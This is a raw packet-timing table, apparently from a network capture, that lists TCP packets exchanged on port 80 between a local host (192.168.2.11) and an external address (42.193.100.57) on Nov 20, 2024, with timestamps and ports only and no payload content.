Nov 20, 2024 09:14:46.124598026 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:46.124624968 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:46.124677896 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:46.124907970 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:46.124918938 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:46.124929905 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:46.124941111 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:46.124953985 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:46.124974966 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:46.125089884 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:46.125099897 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:46.125205040 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:46.125252008 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:46.125370026 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:46.125384092 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:46.125395060 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:46.125406027 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:46.125423908 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:46.125444889 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:46.125489950 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:46.125489950 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:46.125875950 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:46.125886917 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:46.125897884 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:46.125906944 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:46.125917912 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:46.125929117 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:46.125940084 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:46.125955105 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:46.125996113 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:46.125996113 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:46.126233101 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:46.126244068 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:46.126287937 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:46.126318932 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:46.126430035 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:46.126447916 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:46.126457930 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:46.126467943 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:46.126477957 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:46.126490116 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:46.126508951 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:46.126543045 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:46.126543999 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:46.126589060 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:46.126601934 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:46.126612902 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:46.126622915 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:46.126646996 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:46.126689911 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:46.126689911 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:46.127260923 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:46.127273083 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:46.127285957 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:46.127353907 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:46.127398968 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:46.127410889 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:46.127423048 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:46.127433062 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:46.127445936 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:46.127456903 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:46.127490044 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:46.127604008 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:46.127615929 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:46.127625942 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:46.127630949 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:46.127651930 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:46.127667904 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:46.127667904 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:46.127707005 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:46.127743959 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:46.128258944 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:46.128269911 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:46.128281116 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:46.128314972 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:46.128381968 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:46.128422976 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:46.128433943 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:46.128520012 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:46.405149937 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:46.405167103 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:46.405174017 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:46.405190945 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:46.405205965 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:46.405219078 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:46.405239105 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:46.405283928 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:46.405312061 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:46.405333042 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:46.405347109 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:46.405353069 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:46.405360937 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:46.405375004 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:46.405375004 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:46.405388117 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:46.405402899 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:46.405402899 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:46.405427933 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:46.405438900 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:46.405803919 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:46.405816078 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:46.405827045 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:46.405855894 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:46.405884027 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:46.406131983 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:46.406142950 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:46.406153917 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:46.406166077 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:46.406178951 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:46.406189919 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:46.406194925 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:46.406205893 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:46.406239033 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:46.406292915 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:46.406305075 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:46.406347036 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:46.406537056 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:46.406650066 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:46.406666040 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:46.406680107 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:46.406692982 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:46.406706095 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:46.406816006 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:46.406827927 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:46.406837940 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:46.406847954 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:46.406861067 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:46.406873941 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:46.406894922 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:46.406960964 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:46.406960964 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:46.406960964 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:46.406960964 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:46.406960964 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:46.406960964 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:46.406960964 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:46.407696962 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:46.407773018 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:46.407852888 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:46.407865047 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:46.407876015 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:46.407882929 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:46.407887936 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:46.407900095 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:46.407902002 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:46.407912970 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:46.407942057 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:46.407964945 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:46.408004045 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:46.408015966 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:46.408026934 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:46.408039093 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:46.408061028 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:46.408065081 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:46.408077955 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:46.408077955 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:46.408092022 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:46.408103943 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:46.408118010 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:46.408134937 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:46.408193111 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:46.408227921 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:46.408688068 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:46.408736944 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:46.408832073 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:46.408843994 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:46.408857107 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:46.408866882 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:46.408879042 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:46.408890009 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:46.408905983 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:46.408937931 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:46.409002066 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:46.409013987 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:46.409024954 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:46.409039021 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:46.409049988 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:46.409085989 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:46.409154892 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:46.409326077 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:46.409337044 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:46.409358978 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:46.409367085 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:46.409399986 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:46.409727097 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:46.409739017 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:46.409750938 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:46.409760952 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:46.409781933 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:46.409796000 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:46.409898996 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:46.409910917 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:46.409921885 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:46.409955025 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:46.409971952 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:46.410064936 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:46.410077095 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:46.410104036 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:46.410120010 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:46.410235882 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:46.410249949 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:46.410285950 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:46.410300016 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:46.699069023 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:46.699086905 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:46.699109077 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:46.699120998 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:46.699131966 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:46.699142933 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:46.699155092 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:46.699173927 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:46.699218035 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:46.699218988 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:46.699234962 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:46.699274063 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:46.699448109 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:46.699460983 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:46.699471951 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:46.699481964 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:46.699492931 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:46.699492931 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:46.699510098 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:46.699542999 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:46.699620008 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:46.699631929 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:46.699644089 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:46.699678898 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:46.699692011 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:46.699702024 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:46.699706078 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:46.699719906 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:46.699736118 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:46.699753046 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:46.699771881 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:46.699783087 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:46.699820042 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:46.699986935 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:46.700036049 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:46.700071096 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:46.700086117 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:46.700103998 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:46.700114965 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:46.700118065 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:46.700128078 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:46.700140953 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:46.700150967 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:46.700176001 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:46.700320959 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:46.700333118 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:46.700344086 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:46.700355053 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:46.700362921 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:46.700366974 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:46.700378895 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:46.700388908 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:46.700396061 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:46.700428009 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:46.700762987 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:46.700814962 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:46.700822115 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:46.700826883 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:46.700872898 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:46.700872898 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:46.700912952 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:46.700927019 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:46.700939894 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:46.700951099 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:46.700965881 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:46.700967073 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:46.700977087 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:46.700988054 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:46.700994968 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:46.700999975 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:46.701041937 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:46.701056004 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:46.701106071 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:46.701118946 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:46.701131105 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:46.701142073 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:46.701145887 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:46.701153994 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:46.701165915 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:46.701181889 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:46.701208115 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:46.701719046 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:46.701733112 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:46.701744080 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:46.701766968 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:46.701833010 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:46.701842070 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:46.701854944 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:46.701868057 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:46.701880932 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:46.701898098 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:46.701901913 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:46.701910019 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:46.701920986 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:46.701929092 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:46.701934099 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:46.701961994 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:46.701978922 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:46.702023983 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:46.702037096 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:46.702048063 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:46.702058077 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:46.702069044 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:46.702075958 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:46.702080965 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:46.702104092 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:46.702182055 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:46.702660084 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:46.702672958 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:46.702683926 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:46.702713966 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:46.702737093 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:46.702739954 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:46.702753067 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:46.702763081 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:46.702774048 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:46.702794075 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:46.702811003 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:46.702883005 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:46.702893972 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:46.702907085 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:46.702918053 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:46.702928066 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:46.702933073 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:46.702939987 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:46.702951908 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:46.702954054 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:46.702965021 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:46.702975035 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:46.702977896 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:46.703001976 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:46.703011990 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:46.703043938 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:46.703142881 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:46.703598022 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:46.703610897 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:46.703623056 CET	80	49701	42.193.100.57	192.168.2.11
